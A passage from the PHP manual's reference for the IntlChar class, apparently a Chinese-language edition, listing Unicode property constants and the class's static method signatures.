public const int BLOCK_CODE_CYRILLIC_EXTENDED_B;
public const int BLOCK_CODE_SAURASHTRA;
public const int BLOCK_CODE_KAYAH_LI;
public const int BLOCK_CODE_REJANG;
public const int BLOCK_CODE_CHAM;
public const int BLOCK_CODE_ANCIENT_SYMBOLS;
public const int BLOCK_CODE_PHAISTOS_DISC;
public const int BLOCK_CODE_LYCIAN;
public const int BLOCK_CODE_CARIAN;
public const int BLOCK_CODE_LYDIAN;
public const int BLOCK_CODE_MAHJONG_TILES;
public const int BLOCK_CODE_DOMINO_TILES;
public const int BLOCK_CODE_SAMARITAN;
public const int BLOCK_CODE_UNIFIED_CANADIAN_ABORIGINAL_SYLLABICS_EXTENDED;
public const int BLOCK_CODE_TAI_THAM;
public const int BLOCK_CODE_VEDIC_EXTENSIONS;
public const int BLOCK_CODE_LISU;
public const int BLOCK_CODE_BAMUM;
public const int BLOCK_CODE_COMMON_INDIC_NUMBER_FORMS;
public const int BLOCK_CODE_DEVANAGARI_EXTENDED;
public const int BLOCK_CODE_HANGUL_JAMO_EXTENDED_A;
public const int BLOCK_CODE_JAVANESE;
public const int BLOCK_CODE_MYANMAR_EXTENDED_A;
public const int BLOCK_CODE_TAI_VIET;
public const int BLOCK_CODE_MEETEI_MAYEK;
public const int BLOCK_CODE_HANGUL_JAMO_EXTENDED_B;
public const int BLOCK_CODE_IMPERIAL_ARAMAIC;
public const int BLOCK_CODE_OLD_SOUTH_ARABIAN;
public const int BLOCK_CODE_AVESTAN;
public const int BLOCK_CODE_INSCRIPTIONAL_PARTHIAN;
public const int BLOCK_CODE_INSCRIPTIONAL_PAHLAVI;
public const int BLOCK_CODE_OLD_TURKIC;
public const int BLOCK_CODE_RUMI_NUMERAL_SYMBOLS;
public const int BLOCK_CODE_KAITHI;
public const int BLOCK_CODE_EGYPTIAN_HIEROGLYPHS;
public const int BLOCK_CODE_ENCLOSED_ALPHANUMERIC_SUPPLEMENT;
public const int BLOCK_CODE_ENCLOSED_IDEOGRAPHIC_SUPPLEMENT;
public const int BLOCK_CODE_CJK_UNIFIED_IDEOGRAPHS_EXTENSION_C;
public const int BLOCK_CODE_MANDAIC;
public const int BLOCK_CODE_BATAK;
public const int BLOCK_CODE_ETHIOPIC_EXTENDED_A;
public const int BLOCK_CODE_BRAHMI;
public const int BLOCK_CODE_BAMUM_SUPPLEMENT;
public const int BLOCK_CODE_KANA_SUPPLEMENT;
public const int BLOCK_CODE_PLAYING_CARDS;
public const int BLOCK_CODE_MISCELLANEOUS_SYMBOLS_AND_PICTOGRAPHS;
public const int BLOCK_CODE_EMOTICONS;
public const int BLOCK_CODE_TRANSPORT_AND_MAP_SYMBOLS;
public const int BLOCK_CODE_ALCHEMICAL_SYMBOLS;
public const int BLOCK_CODE_CJK_UNIFIED_IDEOGRAPHS_EXTENSION_D;
public const int BLOCK_CODE_ARABIC_EXTENDED_A;
public const int BLOCK_CODE_ARABIC_MATHEMATICAL_ALPHABETIC_SYMBOLS;
public const int BLOCK_CODE_CHAKMA;
public const int BLOCK_CODE_MEETEI_MAYEK_EXTENSIONS;
public const int BLOCK_CODE_MEROITIC_CURSIVE;
public const int BLOCK_CODE_MEROITIC_HIEROGLYPHS;
public const int BLOCK_CODE_MIAO;
public const int BLOCK_CODE_SHARADA;
public const int BLOCK_CODE_SORA_SOMPENG;
public const int BLOCK_CODE_SUNDANESE_SUPPLEMENT;
public const int BLOCK_CODE_TAKRI;
public const int BLOCK_CODE_BASSA_VAH;
public const int BLOCK_CODE_CAUCASIAN_ALBANIAN;
public const int BLOCK_CODE_COPTIC_EPACT_NUMBERS;
public const int BLOCK_CODE_COMBINING_DIACRITICAL_MARKS_EXTENDED;
public const int BLOCK_CODE_DUPLOYAN;
public const int BLOCK_CODE_ELBASAN;
public const int BLOCK_CODE_GEOMETRIC_SHAPES_EXTENDED;
public const int BLOCK_CODE_GRANTHA;
public const int BLOCK_CODE_KHOJKI;
public const int BLOCK_CODE_KHUDAWADI;
public const int BLOCK_CODE_LATIN_EXTENDED_E;
public const int BLOCK_CODE_LINEAR_A;
public const int BLOCK_CODE_MAHAJANI;
public const int BLOCK_CODE_MANICHAEAN;
public const int BLOCK_CODE_MENDE_KIKAKUI;
public const int BLOCK_CODE_MODI;
public const int BLOCK_CODE_MRO;
public const int BLOCK_CODE_MYANMAR_EXTENDED_B;
public const int BLOCK_CODE_NABATAEAN;
public const int BLOCK_CODE_OLD_NORTH_ARABIAN;
public const int BLOCK_CODE_OLD_PERMIC;
public const int BLOCK_CODE_ORNAMENTAL_DINGBATS;
public const int BLOCK_CODE_PAHAWH_HMONG;
public const int BLOCK_CODE_PALMYRENE;
public const int BLOCK_CODE_PAU_CIN_HAU;
public const int BLOCK_CODE_PSALTER_PAHLAVI;
public const int BLOCK_CODE_SHORTHAND_FORMAT_CONTROLS;
public const int BLOCK_CODE_SIDDHAM;
public const int BLOCK_CODE_SINHALA_ARCHAIC_NUMBERS;
public const int BLOCK_CODE_SUPPLEMENTAL_ARROWS_C;
public const int BLOCK_CODE_TIRHUTA;
public const int BLOCK_CODE_WARANG_CITI;
public const int BLOCK_CODE_COUNT;
public const int BLOCK_CODE_INVALID_CODE;
public const int BPT_NONE;
public const int BPT_OPEN;
public const int BPT_CLOSE;
public const int BPT_COUNT;
public const int EA_NEUTRAL;
public const int EA_AMBIGUOUS;
public const int EA_HALFWIDTH;
public const int EA_FULLWIDTH;
public const int EA_NARROW;
public const int EA_WIDE;
public const int EA_COUNT;
public const int UNICODE_CHAR_NAME;
public const int UNICODE_10_CHAR_NAME;
public const int EXTENDED_CHAR_NAME;
public const int CHAR_NAME_ALIAS;
public const int CHAR_NAME_CHOICE_COUNT;
public const int SHORT_PROPERTY_NAME;
public const int LONG_PROPERTY_NAME;
public const int PROPERTY_NAME_CHOICE_COUNT;
public const int DT_NONE;
public const int DT_CANONICAL;
public const int DT_COMPAT;
public const int DT_CIRCLE;
public const int DT_FINAL;
public const int DT_FONT;
public const int DT_FRACTION;
public const int DT_INITIAL;
public const int DT_ISOLATED;
public const int DT_MEDIAL;
public const int DT_NARROW;
public const int DT_NOBREAK;
public const int DT_SMALL;
public const int DT_SQUARE;
public const int DT_SUB;
public const int DT_SUPER;
public const int DT_VERTICAL;
public const int DT_WIDE;
public const int DT_COUNT;
public const int JT_NON_JOINING;
public const int JT_JOIN_CAUSING;
public const int JT_DUAL_JOINING;
public const int JT_LEFT_JOINING;
public const int JT_RIGHT_JOINING;
public const int JT_TRANSPARENT;
public const int JT_COUNT;
public const int JG_NO_JOINING_GROUP;
public const int JG_AIN;
public const int JG_ALAPH;
public const int JG_ALEF;
public const int JG_BEH;
public const int JG_BETH;
public const int JG_DAL;
public const int JG_DALATH_RISH;
public const int JG_E;
public const int JG_FEH;
public const int JG_FINAL_SEMKATH;
public const int JG_GAF;
public const int JG_GAMAL;
public const int JG_HAH;
public const int JG_TEH_MARBUTA_GOAL;
public const int JG_HAMZA_ON_HEH_GOAL;
public const int JG_HE;
public const int JG_HEH;
public const int JG_HEH_GOAL;
public const int JG_HETH;
public const int JG_KAF;
public const int JG_KAPH;
public const int JG_KNOTTED_HEH;
public const int JG_LAM;
public const int JG_LAMADH;
public const int JG_MEEM;
public const int JG_MIM;
public const int JG_NOON;
public const int JG_NUN;
public const int JG_PE;
public const int JG_QAF;
public const int JG_QAPH;
public const int JG_REH;
public const int JG_REVERSED_PE;
public const int JG_SAD;
public const int JG_SADHE;
public const int JG_SEEN;
public const int JG_SEMKATH;
public const int JG_SHIN;
public const int JG_SWASH_KAF;
public const int JG_SYRIAC_WAW;
public const int JG_TAH;
public const int JG_TAW;
public const int JG_TEH_MARBUTA;
public const int JG_TETH;
public const int JG_WAW;
public const int JG_YEH;
public const int JG_YEH_BARREE;
public const int JG_YEH_WITH_TAIL;
public const int JG_YUDH;
public const int JG_YUDH_HE;
public const int JG_ZAIN;
public const int JG_FE;
public const int JG_KHAPH;
public const int JG_ZHAIN;
public const int JG_BURUSHASKI_YEH_BARREE;
public const int JG_FARSI_YEH;
public const int JG_NYA;
public const int JG_ROHINGYA_YEH;
public const int JG_MANICHAEAN_ALEPH;
public const int JG_MANICHAEAN_AYIN;
public const int JG_MANICHAEAN_BETH;
public const int JG_MANICHAEAN_DALETH;
public const int JG_MANICHAEAN_DHAMEDH;
public const int JG_MANICHAEAN_FIVE;
public const int JG_MANICHAEAN_GIMEL;
public const int JG_MANICHAEAN_HETH;
public const int JG_MANICHAEAN_HUNDRED;
public const int JG_MANICHAEAN_KAPH;
public const int JG_MANICHAEAN_LAMEDH;
public const int JG_MANICHAEAN_MEM;
public const int JG_MANICHAEAN_NUN;
public const int JG_MANICHAEAN_ONE;
public const int JG_MANICHAEAN_PE;
public const int JG_MANICHAEAN_QOPH;
public const int JG_MANICHAEAN_RESH;
public const int JG_MANICHAEAN_SADHE;
public const int JG_MANICHAEAN_SAMEKH;
public const int JG_MANICHAEAN_TAW;
public const int JG_MANICHAEAN_TEN;
public const int JG_MANICHAEAN_TETH;
public const int JG_MANICHAEAN_THAMEDH;
public const int JG_MANICHAEAN_TWENTY;
public const int JG_MANICHAEAN_WAW;
public const int JG_MANICHAEAN_YODH;
public const int JG_MANICHAEAN_ZAYIN;
public const int JG_STRAIGHT_WAW;
public const int JG_COUNT;
public const int GCB_OTHER;
public const int GCB_CONTROL;
public const int GCB_CR;
public const int GCB_EXTEND;
public const int GCB_L;
public const int GCB_LF;
public const int GCB_LV;
public const int GCB_LVT;
public const int GCB_T;
public const int GCB_V;
public const int GCB_SPACING_MARK;
public const int GCB_PREPEND;
public const int GCB_REGIONAL_INDICATOR;
public const int GCB_COUNT;
public const int WB_OTHER;
public const int WB_ALETTER;
public const int WB_FORMAT;
public const int WB_KATAKANA;
public const int WB_MIDLETTER;
public const int WB_MIDNUM;
public const int WB_NUMERIC;
public const int WB_EXTENDNUMLET;
public const int WB_CR;
public const int WB_EXTEND;
public const int WB_LF;
public const int WB_MIDNUMLET;
public const int WB_NEWLINE;
public const int WB_REGIONAL_INDICATOR;
public const int WB_HEBREW_LETTER;
public const int WB_SINGLE_QUOTE;
public const int WB_DOUBLE_QUOTE;
public const int WB_COUNT;
public const int SB_OTHER;
public const int SB_ATERM;
public const int SB_CLOSE;
public const int SB_FORMAT;
public const int SB_LOWER;
public const int SB_NUMERIC;
public const int SB_OLETTER;
public const int SB_SEP;
public const int SB_SP;
public const int SB_STERM;
public const int SB_UPPER;
public const int SB_CR;
public const int SB_EXTEND;
public const int SB_LF;
public const int SB_SCONTINUE;
public const int SB_COUNT;
public const int LB_UNKNOWN;
public const int LB_AMBIGUOUS;
public const int LB_ALPHABETIC;
public const int LB_BREAK_BOTH;
public const int LB_BREAK_AFTER;
public const int LB_BREAK_BEFORE;
public const int LB_MANDATORY_BREAK;
public const int LB_CONTINGENT_BREAK;
public const int LB_CLOSE_PUNCTUATION;
public const int LB_COMBINING_MARK;
public const int LB_CARRIAGE_RETURN;
public const int LB_EXCLAMATION;
public const int LB_GLUE;
public const int LB_HYPHEN;
public const int LB_IDEOGRAPHIC;
public const int LB_INSEPARABLE;
public const int LB_INSEPERABLE;
public const int LB_INFIX_NUMERIC;
public const int LB_LINE_FEED;
public const int LB_NONSTARTER;
public const int LB_NUMERIC;
public const int LB_OPEN_PUNCTUATION;
public const int LB_POSTFIX_NUMERIC;
public const int LB_PREFIX_NUMERIC;
public const int LB_QUOTATION;
public const int LB_COMPLEX_CONTEXT;
public const int LB_SURROGATE;
public const int LB_SPACE;
public const int LB_BREAK_SYMBOLS;
public const int LB_ZWSPACE;
public const int LB_NEXT_LINE;
public const int LB_WORD_JOINER;
public const int LB_H2;
public const int LB_H3;
public const int LB_JL;
public const int LB_JT;
public const int LB_JV;
public const int LB_CLOSE_PARENTHESIS;
public const int LB_CONDITIONAL_JAPANESE_STARTER;
public const int LB_HEBREW_LETTER;
public const int LB_REGIONAL_INDICATOR;
public const int LB_COUNT;
public const int NT_NONE;
public const int NT_DECIMAL;
public const int NT_DIGIT;
public const int NT_NUMERIC;
public const int NT_COUNT;
public const int HST_NOT_APPLICABLE;
public const int HST_LEADING_JAMO;
public const int HST_VOWEL_JAMO;
public const int HST_TRAILING_JAMO;
public const int HST_LV_SYLLABLE;
public const int HST_LVT_SYLLABLE;
public const int HST_COUNT;
public const int FOLD_CASE_DEFAULT;
public const int FOLD_CASE_EXCLUDE_SPECIAL_I;
/* 方法 */
public static charAge(int|string $codepoint): ?array
public static charDigitValue(int|string $codepoint): ?int
public static charDirection(int|string $codepoint): ?int
public static charFromName(string $name, int $type = IntlChar::UNICODE_CHAR_NAME): ?int
public static charMirror(int|string $codepoint): int|string|null
public static charName(int|string $codepoint, int $type = IntlChar::UNICODE_CHAR_NAME): ?string
public static charType(int|string $codepoint): ?int
public static chr(int|string $codepoint): ?string
public static digit(int|string $codepoint, int $base = 10): int|false|null
public static enumCharNames(
int|string $start,
int|string $end,
callable $callback,
int $type = IntlChar::UNICODE_CHAR_NAME
): ?bool
public static enumCharTypes(callable $callback): void
public static foldCase(int|string $codepoint, int $options = IntlChar::FOLD_CASE_DEFAULT): int|string|null
public static forDigit(int $digit, int $base = 10): int
public static getBidiPairedBracket(int|string $codepoint): int|string|null
public static getBlockCode(int|string $codepoint): ?int
public static getCombiningClass(int|string $codepoint): ?int
public static getFC_NFKC_Closure(int|string $codepoint): string|false|null
public static getIntPropertyMaxValue(int $property): int
public static getIntPropertyMinValue(int $property): int
public static getIntPropertyValue(int|string $codepoint, int $property): ?int
public static getNumericValue(int|string $codepoint): ?float
public static getPropertyEnum(string $alias): int
public static getPropertyName(int $property, int $type = IntlChar::LONG_PROPERTY_NAME): string|false
public static getPropertyValueEnum(int $property, string $name): int
public static getPropertyValueName(int $property, int $value, int $type = IntlChar::LONG_PROPERTY_NAME): string|false
public static getUnicodeVersion(): array
public static hasBinaryProperty(int|string $codepoint, int $property): ?bool
public static isalnum(int|string $codepoint): ?bool
public static isalpha(int|string $codepoint): ?bool
public static isbase(int|string $codepoint): ?bool
public static isblank(int|string $codepoint): ?bool
public static iscntrl(int|string $codepoint): ?bool
public static isdefined(int|string $codepoint): ?bool
public static isdigit(int|string $codepoint): ?bool
public static isgraph(int|string $codepoint): ?bool
public static isIDIgnorable(int|string $codepoint): ?bool
public static isIDPart(int|string $codepoint): ?bool
public static isIDStart(int|string $codepoint): ?bool
public static isISOControl(int|string $codepoint): ?bool
public static isJavaIDPart(int|string $codepoint): ?bool
public static isJavaIDStart(int|string $codepoint): ?bool
public static isJavaSpaceChar(int|string $codepoint): ?bool
public static islower(int|string $codepoint): ?bool
public static isMirrored(int|string $codepoint): ?bool
public static isprint(int|string $codepoint): ?bool
public static ispunct(int|string $codepoint): ?bool
public static isspace(int|string $codepoint): ?bool
public static istitle(int|string $codepoint): ?bool
public static isUAlphabetic(int|string $codepoint): ?bool
public static isULowercase(int|string $codepoint): ?bool
public static isupper(int|string $codepoint): ?bool
public static isUUppercase(int|string $codepoint): ?bool
public static isUWhiteSpace(int|string $codepoint): ?bool
public static isWhitespace(int|string $codepoint): ?bool
public static isxdigit(int|string $codepoint): ?bool
public static ord(int|string $character): ?int
public static tolower(int|string $codepoint): int|string|null
public static totitle(int|string $codepoint): int|string|null
public static toupper(int|string $codepoint): int|string|null
}

预定义常量

IntlChar::UNICODE_VERSION

IntlChar::CODEPOINT_MIN

IntlChar::CODEPOINT_MAX

IntlChar::NO_NUMERIC_VALUE

Special value that is returned by IntlChar::getNumericValue() when no numeric value is defined for a code point.

IntlChar::PROPERTY_ALPHABETIC

IntlChar::PROPERTY_BINARY_START

IntlChar::PROPERTY_ASCII_HEX_DIGIT

IntlChar::PROPERTY_BIDI_CONTROL

IntlChar::PROPERTY_BIDI_MIRRORED

IntlChar::PROPERTY_DASH

IntlChar::PROPERTY_DEFAULT_IGNORABLE_CODE_POINT

IntlChar::PROPERTY_DEPRECATED

IntlChar::PROPERTY_DIACRITIC

IntlChar::PROPERTY_EXTENDER

IntlChar::PROPERTY_FULL_COMPOSITION_EXCLUSION

IntlChar::PROPERTY_GRAPHEME_BASE

IntlChar::PROPERTY_GRAPHEME_EXTEND

IntlChar::PROPERTY_GRAPHEME_LINK

IntlChar::PROPERTY_HEX_DIGIT

IntlChar::PROPERTY_HYPHEN

IntlChar::PROPERTY_ID_CONTINUE

IntlChar::PROPERTY_ID_START

IntlChar::PROPERTY_IDEOGRAPHIC

IntlChar::PROPERTY_IDS_BINARY_OPERATOR

IntlChar::PROPERTY_IDS_TRINARY_OPERATOR

IntlChar::PROPERTY_JOIN_CONTROL

IntlChar::PROPERTY_LOGICAL_ORDER_EXCEPTION

IntlChar::PROPERTY_LOWERCASE

IntlChar::PROPERTY_MATH

IntlChar::PROPERTY_NONCHARACTER_CODE_POINT

IntlChar::PROPERTY_QUOTATION_MARK

IntlChar::PROPERTY_RADICAL

IntlChar::PROPERTY_SOFT_DOTTED

IntlChar::PROPERTY_TERMINAL_PUNCTUATION

IntlChar::PROPERTY_UNIFIED_IDEOGRAPH

IntlChar::PROPERTY_UPPERCASE

IntlChar::PROPERTY_WHITE_SPACE

IntlChar::PROPERTY_XID_CONTINUE

IntlChar::PROPERTY_XID_START

IntlChar::PROPERTY_CASE_SENSITIVE

IntlChar::PROPERTY_S_TERM

IntlChar::PROPERTY_VARIATION_SELECTOR

IntlChar::PROPERTY_NFD_INERT

IntlChar::PROPERTY_NFKD_INERT

IntlChar::PROPERTY_NFC_INERT

IntlChar::PROPERTY_NFKC_INERT

IntlChar::PROPERTY_SEGMENT_STARTER

IntlChar::PROPERTY_PATTERN_SYNTAX

IntlChar::PROPERTY_PATTERN_WHITE_SPACE

IntlChar::PROPERTY_POSIX_ALNUM

IntlChar::PROPERTY_POSIX_BLANK

IntlChar::PROPERTY_POSIX_GRAPH

IntlChar::PROPERTY_POSIX_PRINT

IntlChar::PROPERTY_POSIX_XDIGIT

IntlChar::PROPERTY_CASED

IntlChar::PROPERTY_CASE_IGNORABLE

IntlChar::PROPERTY_CHANGES_WHEN_LOWERCASED

IntlChar::PROPERTY_CHANGES_WHEN_UPPERCASED

IntlChar::PROPERTY_CHANGES_WHEN_TITLECASED

IntlChar::PROPERTY_CHANGES_WHEN_CASEFOLDED

IntlChar::PROPERTY_CHANGES_WHEN_CASEMAPPED

IntlChar::PROPERTY_CHANGES_WHEN_NFKC_CASEFOLDED

IntlChar::PROPERTY_BINARY_LIMIT

IntlChar::PROPERTY_BIDI_CLASS

IntlChar::PROPERTY_INT_START

IntlChar::PROPERTY_BLOCK

IntlChar::PROPERTY_CANONICAL_COMBINING_CLASS

IntlChar::PROPERTY_DECOMPOSITION_TYPE

IntlChar::PROPERTY_EAST_ASIAN_WIDTH

IntlChar::PROPERTY_GENERAL_CATEGORY

IntlChar::PROPERTY_JOINING_GROUP

IntlChar::PROPERTY_JOINING_TYPE

IntlChar::PROPERTY_LINE_BREAK

IntlChar::PROPERTY_NUMERIC_TYPE

IntlChar::PROPERTY_SCRIPT

IntlChar::PROPERTY_HANGUL_SYLLABLE_TYPE

IntlChar::PROPERTY_NFD_QUICK_CHECK

IntlChar::PROPERTY_NFKD_QUICK_CHECK

IntlChar::PROPERTY_NFC_QUICK_CHECK

IntlChar::PROPERTY_NFKC_QUICK_CHECK

IntlChar::PROPERTY_LEAD_CANONICAL_COMBINING_CLASS

IntlChar::PROPERTY_TRAIL_CANONICAL_COMBINING_CLASS

IntlChar::PROPERTY_GRAPHEME_CLUSTER_BREAK

IntlChar::PROPERTY_SENTENCE_BREAK

IntlChar::PROPERTY_WORD_BREAK

IntlChar::PROPERTY_BIDI_PAIRED_BRACKET_TYPE

IntlChar::PROPERTY_INT_LIMIT

IntlChar::PROPERTY_GENERAL_CATEGORY_MASK

IntlChar::PROPERTY_MASK_START

IntlChar::PROPERTY_MASK_LIMIT

IntlChar::PROPERTY_NUMERIC_VALUE

IntlChar::PROPERTY_DOUBLE_START

IntlChar::PROPERTY_DOUBLE_LIMIT

IntlChar::PROPERTY_AGE

IntlChar::PROPERTY_STRING_START

IntlChar::PROPERTY_BIDI_MIRRORING_GLYPH

IntlChar::PROPERTY_CASE_FOLDING

IntlChar::PROPERTY_ISO_COMMENT

IntlChar::PROPERTY_LOWERCASE_MAPPING

IntlChar::PROPERTY_NAME

IntlChar::PROPERTY_SIMPLE_CASE_FOLDING

IntlChar::PROPERTY_SIMPLE_LOWERCASE_MAPPING

IntlChar::PROPERTY_SIMPLE_TITLECASE_MAPPING

IntlChar::PROPERTY_SIMPLE_UPPERCASE_MAPPING

IntlChar::PROPERTY_TITLECASE_MAPPING

IntlChar::PROPERTY_UNICODE_1_NAME

IntlChar::PROPERTY_UPPERCASE_MAPPING

IntlChar::PROPERTY_BIDI_PAIRED_BRACKET

IntlChar::PROPERTY_STRING_LIMIT

IntlChar::PROPERTY_SCRIPT_EXTENSIONS

IntlChar::PROPERTY_OTHER_PROPERTY_START

IntlChar::PROPERTY_OTHER_PROPERTY_LIMIT

IntlChar::PROPERTY_INVALID_CODE

IntlChar::CHAR_CATEGORY_UNASSIGNED

IntlChar::CHAR_CATEGORY_GENERAL_OTHER_TYPES

IntlChar::CHAR_CATEGORY_UPPERCASE_LETTER

IntlChar::CHAR_CATEGORY_LOWERCASE_LETTER

IntlChar::CHAR_CATEGORY_TITLECASE_LETTER

IntlChar::CHAR_CATEGORY_MODIFIER_LETTER

IntlChar::CHAR_CATEGORY_OTHER_LETTER

IntlChar::CHAR_CATEGORY_NON_SPACING_MARK

IntlChar::CHAR_CATEGORY_ENCLOSING_MARK

IntlChar::CHAR_CATEGORY_COMBINING_SPACING_MARK

IntlChar::CHAR_CATEGORY_DECIMAL_DIGIT_NUMBER

IntlChar::CHAR_CATEGORY_LETTER_NUMBER

IntlChar::CHAR_CATEGORY_OTHER_NUMBER

IntlChar::CHAR_CATEGORY_SPACE_SEPARATOR

IntlChar::CHAR_CATEGORY_LINE_SEPARATOR

IntlChar::CHAR_CATEGORY_PARAGRAPH_SEPARATOR

IntlChar::CHAR_CATEGORY_CONTROL_CHAR

IntlChar::CHAR_CATEGORY_FORMAT_CHAR

IntlChar::CHAR_CATEGORY_PRIVATE_USE_CHAR

IntlChar::CHAR_CATEGORY_SURROGATE

IntlChar::CHAR_CATEGORY_DASH_PUNCTUATION

IntlChar::CHAR_CATEGORY_START_PUNCTUATION

IntlChar::CHAR_CATEGORY_END_PUNCTUATION

IntlChar::CHAR_CATEGORY_CONNECTOR_PUNCTUATION

IntlChar::CHAR_CATEGORY_OTHER_PUNCTUATION

IntlChar::CHAR_CATEGORY_MATH_SYMBOL

IntlChar::CHAR_CATEGORY_CURRENCY_SYMBOL

IntlChar::CHAR_CATEGORY_MODIFIER_SYMBOL

IntlChar::CHAR_CATEGORY_OTHER_SYMBOL

IntlChar::CHAR_CATEGORY_INITIAL_PUNCTUATION

IntlChar::CHAR_CATEGORY_FINAL_PUNCTUATION

IntlChar::CHAR_CATEGORY_CHAR_CATEGORY_COUNT

IntlChar::CHAR_DIRECTION_LEFT_TO_RIGHT

IntlChar::CHAR_DIRECTION_RIGHT_TO_LEFT

IntlChar::CHAR_DIRECTION_EUROPEAN_NUMBER

IntlChar::CHAR_DIRECTION_EUROPEAN_NUMBER_SEPARATOR

IntlChar::CHAR_DIRECTION_EUROPEAN_NUMBER_TERMINATOR

IntlChar::CHAR_DIRECTION_ARABIC_NUMBER

IntlChar::CHAR_DIRECTION_COMMON_NUMBER_SEPARATOR

IntlChar::CHAR_DIRECTION_BLOCK_SEPARATOR

IntlChar::CHAR_DIRECTION_SEGMENT_SEPARATOR

IntlChar::CHAR_DIRECTION_WHITE_SPACE_NEUTRAL

IntlChar::CHAR_DIRECTION_OTHER_NEUTRAL

IntlChar::CHAR_DIRECTION_LEFT_TO_RIGHT_EMBEDDING

IntlChar::CHAR_DIRECTION_LEFT_TO_RIGHT_OVERRIDE

IntlChar::CHAR_DIRECTION_RIGHT_TO_LEFT_ARABIC

IntlChar::CHAR_DIRECTION_RIGHT_TO_LEFT_EMBEDDING

IntlChar::CHAR_DIRECTION_RIGHT_TO_LEFT_OVERRIDE

IntlChar::CHAR_DIRECTION_POP_DIRECTIONAL_FORMAT

IntlChar::CHAR_DIRECTION_DIR_NON_SPACING_MARK

IntlChar::CHAR_DIRECTION_BOUNDARY_NEUTRAL

IntlChar::CHAR_DIRECTION_FIRST_STRONG_ISOLATE

IntlChar::CHAR_DIRECTION_LEFT_TO_RIGHT_ISOLATE

IntlChar::CHAR_DIRECTION_RIGHT_TO_LEFT_ISOLATE

IntlChar::CHAR_DIRECTION_POP_DIRECTIONAL_ISOLATE

IntlChar::CHAR_DIRECTION_CHAR_DIRECTION_COUNT

IntlChar::BLOCK_CODE_NO_BLOCK

IntlChar::BLOCK_CODE_BASIC_LATIN

IntlChar::BLOCK_CODE_LATIN_1_SUPPLEMENT

IntlChar::BLOCK_CODE_LATIN_EXTENDED_A

IntlChar::BLOCK_CODE_LATIN_EXTENDED_B

IntlChar::BLOCK_CODE_IPA_EXTENSIONS

IntlChar::BLOCK_CODE_SPACING_MODIFIER_LETTERS

IntlChar::BLOCK_CODE_COMBINING_DIACRITICAL_MARKS

IntlChar::BLOCK_CODE_GREEK

IntlChar::BLOCK_CODE_CYRILLIC

IntlChar::BLOCK_CODE_ARMENIAN

IntlChar::BLOCK_CODE_HEBREW

IntlChar::BLOCK_CODE_ARABIC

IntlChar::BLOCK_CODE_SYRIAC

IntlChar::BLOCK_CODE_THAANA

IntlChar::BLOCK_CODE_DEVANAGARI

IntlChar::BLOCK_CODE_BENGALI

IntlChar::BLOCK_CODE_GURMUKHI

IntlChar::BLOCK_CODE_GUJARATI

IntlChar::BLOCK_CODE_ORIYA

IntlChar::BLOCK_CODE_TAMIL

IntlChar::BLOCK_CODE_TELUGU

IntlChar::BLOCK_CODE_KANNADA

IntlChar::BLOCK_CODE_MALAYALAM

IntlChar::BLOCK_CODE_SINHALA

IntlChar::BLOCK_CODE_THAI

IntlChar::BLOCK_CODE_LAO

IntlChar::BLOCK_CODE_TIBETAN

IntlChar::BLOCK_CODE_MYANMAR

IntlChar::BLOCK_CODE_GEORGIAN

IntlChar::BLOCK_CODE_HANGUL_JAMO

IntlChar::BLOCK_CODE_ETHIOPIC

IntlChar::BLOCK_CODE_CHEROKEE

IntlChar::BLOCK_CODE_UNIFIED_CANADIAN_ABORIGINAL_SYLLABICS

IntlChar::BLOCK_CODE_OGHAM

IntlChar::BLOCK_CODE_RUNIC

IntlChar::BLOCK_CODE_KHMER

IntlChar::BLOCK_CODE_MONGOLIAN

IntlChar::BLOCK_CODE_LATIN_EXTENDED_ADDITIONAL

IntlChar::BLOCK_CODE_GREEK_EXTENDED

IntlChar::BLOCK_CODE_GENERAL_PUNCTUATION

IntlChar::BLOCK_CODE_SUPERSCRIPTS_AND_SUBSCRIPTS

IntlChar::BLOCK_CODE_CURRENCY_SYMBOLS

IntlChar::BLOCK_CODE_COMBINING_MARKS_FOR_SYMBOLS

IntlChar::BLOCK_CODE_LETTERLIKE_SYMBOLS

IntlChar::BLOCK_CODE_NUMBER_FORMS

IntlChar::BLOCK_CODE_ARROWS

IntlChar::BLOCK_CODE_MATHEMATICAL_OPERATORS

IntlChar::BLOCK_CODE_MISCELLANEOUS_TECHNICAL

IntlChar::BLOCK_CODE_CONTROL_PICTURES

IntlChar::BLOCK_CODE_OPTICAL_CHARACTER_RECOGNITION

IntlChar::BLOCK_CODE_ENCLOSED_ALPHANUMERICS

IntlChar::BLOCK_CODE_BOX_DRAWING

IntlChar::BLOCK_CODE_BLOCK_ELEMENTS

IntlChar::BLOCK_CODE_GEOMETRIC_SHAPES

IntlChar::BLOCK_CODE_MISCELLANEOUS_SYMBOLS

IntlChar::BLOCK_CODE_DINGBATS

IntlChar::BLOCK_CODE_BRAILLE_PATTERNS

IntlChar::BLOCK_CODE_CJK_RADICALS_SUPPLEMENT

IntlChar::BLOCK_CODE_KANGXI_RADICALS

IntlChar::BLOCK_CODE_IDEOGRAPHIC_DESCRIPTION_CHARACTERS

IntlChar::BLOCK_CODE_CJK_SYMBOLS_AND_PUNCTUATION

IntlChar::BLOCK_CODE_HIRAGANA

IntlChar::BLOCK_CODE_KATAKANA

IntlChar::BLOCK_CODE_BOPOMOFO

IntlChar::BLOCK_CODE_HANGUL_COMPATIBILITY_JAMO

IntlChar::BLOCK_CODE_KANBUN

IntlChar::BLOCK_CODE_BOPOMOFO_EXTENDED

IntlChar::BLOCK_CODE_ENCLOSED_CJK_LETTERS_AND_MONTHS

IntlChar::BLOCK_CODE_CJK_COMPATIBILITY

IntlChar::BLOCK_CODE_CJK_UNIFIED_IDEOGRAPHS_EXTENSION_A

IntlChar::BLOCK_CODE_CJK_UNIFIED_IDEOGRAPHS

IntlChar::BLOCK_CODE_YI_SYLLABLES

IntlChar::BLOCK_CODE_YI_RADICALS

IntlChar::BLOCK_CODE_HANGUL_SYLLABLES

IntlChar::BLOCK_CODE_HIGH_SURROGATES

IntlChar::BLOCK_CODE_HIGH_PRIVATE_USE_SURROGATES

IntlChar::BLOCK_CODE_LOW_SURROGATES

IntlChar::BLOCK_CODE_PRIVATE_USE_AREA

IntlChar::BLOCK_CODE_PRIVATE_USE

IntlChar::BLOCK_CODE_CJK_COMPATIBILITY_IDEOGRAPHS

IntlChar::BLOCK_CODE_ALPHABETIC_PRESENTATION_FORMS

IntlChar::BLOCK_CODE_ARABIC_PRESENTATION_FORMS_A

IntlChar::BLOCK_CODE_COMBINING_HALF_MARKS

IntlChar::BLOCK_CODE_CJK_COMPATIBILITY_FORMS

IntlChar::BLOCK_CODE_SMALL_FORM_VARIANTS

